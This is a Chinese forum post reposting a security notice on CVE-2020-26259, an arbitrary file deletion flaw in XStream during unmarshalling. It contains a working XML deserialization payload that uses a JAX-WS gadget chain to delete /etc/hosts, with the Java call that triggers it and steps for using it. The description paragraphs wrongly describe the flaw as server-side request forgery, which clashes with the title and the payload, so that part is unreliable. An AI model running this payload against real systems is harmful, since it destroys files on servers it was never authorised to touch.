搜索

[20407] 2020-12-15_CVE-2020-26259-POC-任意文件删除

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2020-12-15_CVE-2020-26259-POC-任意文件删除 C V E - 2 0 2 0 - 2 6 2 5 9 - P O C - 任 意 文 件 删 除 安 全 告 知   K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 1 2 - 1 5                                                         C V E - 2 0 2 0 - 2 6 2 5 9 ： 如 果 执 行 过 程 具 有 足 够 的 权 限 ， 则 在 解 组 时 X S t r e a m 容 易 受 到 本 地 主 机 上 任 意 文 件 删 除 的 攻 击 。 受 影 响 的 版 本 ：                         如 果 使 用 现 成 的 版 本 ， 则 直 到 1 . 4 . 1 4 （ 包 括 1 . 4 . 1 4 ） 的 所 有 版 本 都 将 在 包 含 J A X - W S 运 行 时 的 J a v a 环 境 中 运 行 。 没 有 用 户 受 到 影 响 ， 他 们 遵 循 建 议 使 用 白 名 单 设 置   X S t r e a m 的 安 全 框 架 。 漏 洞 描 述 ：                         在 解 组 时 处 理 的 流 包 含 类 型 信 息 以 重 新 创 建 以 前 写 入 的 对 象 。 因 此 ， X S t r e a m 基 于 这 些 类 型 信 息 创 建 新 的 实 例 。 攻 击 者 可 以 操 纵 处 理 后 的 输 入 流 并 替 换 或 注 入 对 象 ， 从 而 导 致 服 务 器 端 进 行 伪 造 请 求 。 P O C ： 该 漏 洞 可 能 允 许 远 程 攻 击 者 仅 通 过 处 理 已 处 理 的 输 入 流 来 从 不 公 开 可 用 的 内 部 资 源 中 请 求 数 据 。 < m a p >     < e n t r y >         < j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g >             < f l a g s > 0 < / f l a g s >             < v a l u e   c l a s s = ' c o m . s u n . x m l . i n t e r n a l . b i n d . v 2 . r u n t i m e . u n m a r s h a l l e r . B a s e 6 4 D a t a ' >                 < d a t a H a n d l e r >                     < d a t a S o u r c e   c l a s s = ' c o m . s u n . x m l . i n t e r n a l . w s . e n c o d i n g . x m l . X M L M e s s a g e $ X m l D a t a S o u r c e ' >                         < c o n t e n t T y p e > t e x t / p l a i n < / c o n t e n t T y p e >                         < i s   c l a s s = ' c o m . s u n . x m l . i n t e r n a l . w s . u t i l . R e a d A l l S t r e a m $ F i l e S t r e a m ' >                             < t e m p F i l e > / e t c / h o s t s < / t e m p F i l e >                         < / i s >                     < / d a t a S o u r c e >                     < t r a n s f e r F l a v o r s / >                 < / d a t a H a n d l e r >                 < d a t a L e n > 0 < / d a t a L e n >             < / v a l u e >         < / j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g >         < s t r i n g > t e s t < / s t r i n g >     < / e n t r y > < / m a p > X S t r e a m   x s t r e a m   =   n e w   X S t r e a m ( ) ; x s t r e a m . f r o m X M L ( x m l ) ;
                创 建 一 个 简 单 的 H a s h M a p 并 使 用 X S t r e a m 将 其 封 送 为 X M L 。 用 以 下 代 码 片 段 替 换 X M L ， 然 后 用 X S t r e a m 重 新 解 组 它 。 一 旦 解 组 X M L ， 就 会 执 行 有 效 负 载 并 删 除 引 用 文 件 。 注 意 ， 此 示 例 使 用 X M L ， 但 是 可 以 针 对 任 何 受 支 持 的 格 式 （ 例 如 J S O N ） 执 行 攻 击 。 请 参 考 ： h t t p s : / / x - s t r e a m . g i t h u b . i o / C V E - 2 0 2 0 - 2 6 2 5 9 . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理